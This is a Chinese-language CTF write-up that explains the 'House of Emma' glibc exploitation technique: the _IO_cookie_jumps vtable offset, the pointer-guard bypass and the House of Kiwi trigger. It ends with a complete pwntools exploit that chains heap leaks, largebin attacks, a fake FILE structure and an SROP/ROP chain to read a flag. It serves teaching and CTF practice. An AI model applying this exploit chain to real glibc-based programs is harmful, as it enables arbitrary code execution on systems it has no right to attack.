house of emma
[TOC] 参考文章 例题详解 _IO_cookie_jumps中的_IO_cookie_write,_IO_cookie_write又会调用 cookie_io_functions_t __io_functions中的函数
使用条件
- 可以任意写一个可控地址(LargeBin Attack、Tcache Stashing Unlink Attack…)
- 可以触发 IO 流(FSOP、House OF Kiwi)
利用原理
寻找合法的 vtable
_IO_jump_t 结构体的一个实例,类似house of pig的_IO_str_jumps
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
0x18 JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
0x60 JUMP_INIT(sync, _IO_file_sync),
0x68 JUMP_INIT(doallocate, _IO_file_doallocate),
0x70 JUMP_INIT(read, _IO_cookie_read),
0x78 JUMP_INIT(write, _IO_cookie_write),
0x80 JUMP_INIT(seek, _IO_cookie_seek),
0x88 JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};
- 我们知道,在 vtable 的检测中对具体位置的检测是比较宽松的,这使得我们可以在一定的范围内对 vtable 表的起始位置进行偏移,使得我们在调用具体偏移是固定的情况下,可以通过偏移来调用到在 vtable 表中的任意函数,我们考虑指定为其中存在的如下几个函数。
- 这一点非常重要,因为house of kiwi是会调用sync函数,如果设置vtable为_IO_cookie_jumps+0x18,那么就会调用sync再向下0x18偏移的函数,也就是_IO_cookie_write
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif
if (read_cb == NULL)
return -1;
return read_cb (cfile->__cookie, buf, size);
}
static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif
if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}
ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;
return n;
}
static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif
return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}
static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif
if (close_cb == NULL)
return 0;
return close_cb (cfile->__cookie);
}
- 这几个函数内存在任意函数指针调用,并且函数指针来源于_IO_cookie_file 结构体,这个结构体是 _IO_FILE_plus 的扩展,如果我们可以控制 IO 的内容,大概率这部分的数据也是可控的,并且其的第一个参数也是来源于这个结构。所以我们可以把其当做一个类似于 __free_hook 的 Hook 来利用。就以close_cb (cfile->__cookie);为例,因为是通过偏移找的函数来执行,如果这个偏移设置为一个目标函数,rdi的值等同于cookie的值,这正好相当于hook来用
/* Special file type for fopencookie function. */
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;
绕过 PTR_DEMANGLE
- 在上面的分析中,我们暂时忽略了一个可能会存在的问题,也就是在上面代码中函数指针调用前所执行的 PTR_DEMANGLE (指针保护)选项是默认开启的,这意味着我们需要解决指针加密的问题。
extern uintptr_t __pointer_chk_guard attribute_relro;
# define PTR_MANGLE(var) \
(var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
# define PTR_DEMANGLE(var) PTR_MANGLE (var)
- 根据 GLIBC Wiki 上的解释 Pointer Encryption,我们可以得知这个是 GLIBC 的一项安全功能,用于增加攻击者在 GLIBC 结构中操纵指针(尤其是函数指针)的难度。 同时,通过调试可以得知,这个值存在于 TLS 段上,将其 ROR 移位 0x11 后再与指针进行异或
- fs[0x30] 的值位于与 libc 相邻的 ld 空间中,这个位置距离 Libc 地址的偏移固定,虽然我们无法泄露出这个位置随机值的内容,但是我们可以利用很多方法对其进行写入 1.Fastbin Reverse Into Tcache 2.Tcache Stashing Unlink Attack 3.LargeBin Attack 但无论使用什么方法,我们只需要让这个本来是随机的、不确定的异或值,转变为已知的地址即可。而通常在满足能够利用 IO File 的情况下,这个前置要求都能够被满足。
可能会遇到的一些问题
- 在实际操作中,可能因为 stderr 的指针存放在 bss 段上,从而导致无法篡改。只能使用 exit 来触发 FSOP,但是又会发现如果通过 exit 来触发 FSOP,会遇到在 exit 中也有调用指针保护的函数指针执行,但此时的异或内容被我们所篡改,使得无法执行正确的函数地址,且此位置在 FSOP 之前,从而导致程序没有进入 IO 流就发生了错误。
- 这种时候就可以考虑构造两个 IO_FILE,且后者指针处于前者的 _chains 处,前者用 GLIBC2.34 之前的 IO_FILE 攻击 的思想在 __pointer_chk_guard 处写已知内容,后者再用 House OF Emma 来进行函数指针调用。
实战运用
- 例题 2021 湖湘杯的 1 解题 House OF Emma
- 由于没有办法退出读入 opcode 的主循环,所以可以尝试用 House OF Kiwi 来触发 IO,同时因为此题使用了 puts 进行输出,所以也可以考虑劫持 stdout 指针,这里选择前者来讲解。
- 使用 LargeBin Attack 来在 stderr 指针处写一个可控地址
- 使用 LargeBin Attack 在__pointer_chk_guard 处写一个已知地址 通过写入的已知地址与需要调用的函数指针进行构造加密,同时构造出合理的 IO_FILE 结构。
- 利用 Unsorted Bin 会与 Top Chunk 合并的机制来修改 Top Chunk 的 Size,从而触发 House OF Kiwi 中的 IO 调用。
- 进入 House OF Emma 的调用链,同时寻找一个能够转移 rdi 到 rdx 的 gadget,利用这个 gadget 来为 Setcontext 提供内容。
- 利用 Setcontext 来执行 ROP 来 ORW
- exp 更多细节见exp
from pwn import *
from pwnlib.util.packing import p8
from pwnlib.util.packing import p16
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
sh = remote('127.0.0.1', 9999)
libc = ELF('./lib/libc.so.6')
all_payload = ""
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def add(idx, size):
global all_payload
payload = p8(0x1)
payload += p8(idx)
payload += p16(size)
all_payload += payload
def show(idx):
global all_payload
payload = p8(0x3)
payload += p8(idx)
all_payload += payload
def delete(idx):
global all_payload
payload = p8(0x2)
payload += p8(idx)
all_payload += payload
def edit(idx, buf):
global all_payload
payload = p8(0x4)
payload += p8(idx)
payload += p16(len(buf))
payload += str(buf)
all_payload += payload
def run_opcode():
global all_payload
all_payload += p8(5)
sh.sendafter("Pls input the opcode", all_payload)
all_payload = ""
# leak libc_base
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
delete(2)
add(4, 0x430)
show(2)
run_opcode()
libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1f30b0 # main_arena + 1104
log.success("libc_base:\t" + hex(libc_base))
libc.address = libc_base
guard = libc_base + 0x2035f0
pop_rdi_addr = libc_base + 0x2daa2
pop_rsi_addr = libc_base + 0x37c0a
pop_rax_addr = libc_base + 0x446c0
syscall_addr = libc_base + 0x883b6
gadget_addr = libc_base + 0x146020 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + 0x50bc0
# leak heapbase
edit(2, "a" * 0x10)
show(2)
run_opcode()
sh.recvuntil("a" * 0x10)
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x2ae0
log.success("heap_base:\t" + hex(heap_base))
# largebin attack stderr
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(libc.sym['stderr'] - 0x20)) #stderr被写入一个堆地址
add(5, 0x430)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run_opcode()
# largebin attack guard
delete(2)
add(6, 0x430)
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)
# change top chunk size
#先放入unsorted bin再切割unsorted bin,因为有uaf所以可以edit,从而改变top chunk
delete(7)
add(8, 0x430)
edit(7, 'a' * 0x438 + p64(0x300))
run_opcode()
#guard和sterr目前的值都为ck0的堆地址
next_chain = 0
srop_addr = heap_base + 0x2ae0 + 0x10 #ck2的mem
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # vtable
fake_IO_FILE += p64(srop_addr) # cookie,也是rdi
fake_IO_FILE += p64(0) #_IO_cookie_read
#与 PTR_DEMANGLE机制反着来,异或后循环左移0x11
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11)) #_IO_cookie_write
#一个Signal Frame就有0xf8长度
fake_frame_addr = srop_addr #ck2的mem
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
'''
srop结束后,rdi=fake_frame_addr + 0xF8刚好是flag的地址,rsi=0
并且rsp=fake_frame_addr + 0xF8 + 0x10,也就是rop的地址,结束后刚好执行ret
正好frame前0x28个字节的值也不影响我们其他值的设置
'''
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop_data)
'''
stderr当前指向ck0,当触发assert后会按照_IO_cookie_io_functions_t偏移执行函数
执行write_cb (cfile->__cookie, buf, size)就相当于执行gadget,注意此时cookie=rdi=srop_addr
mov rdx,[rdi+8] ==》 rdx=fake_frame_addr
mov [rsp],rax ==》 没啥用
call [rdx+0x20] ==》 call setcontext_addr + 61 而此时rdx=fake_frame_addr
这一个gadget就刚好完成了rdx的设置和执行setcontext_addr + 61 !!!
'''
edit(0, fake_IO_FILE)
edit(2, payload)
add(8, 0x450) # House OF Kiwi
# gdb.attach(sh, "b _IO_cookie_write")
run_opcode()
sh.interactive()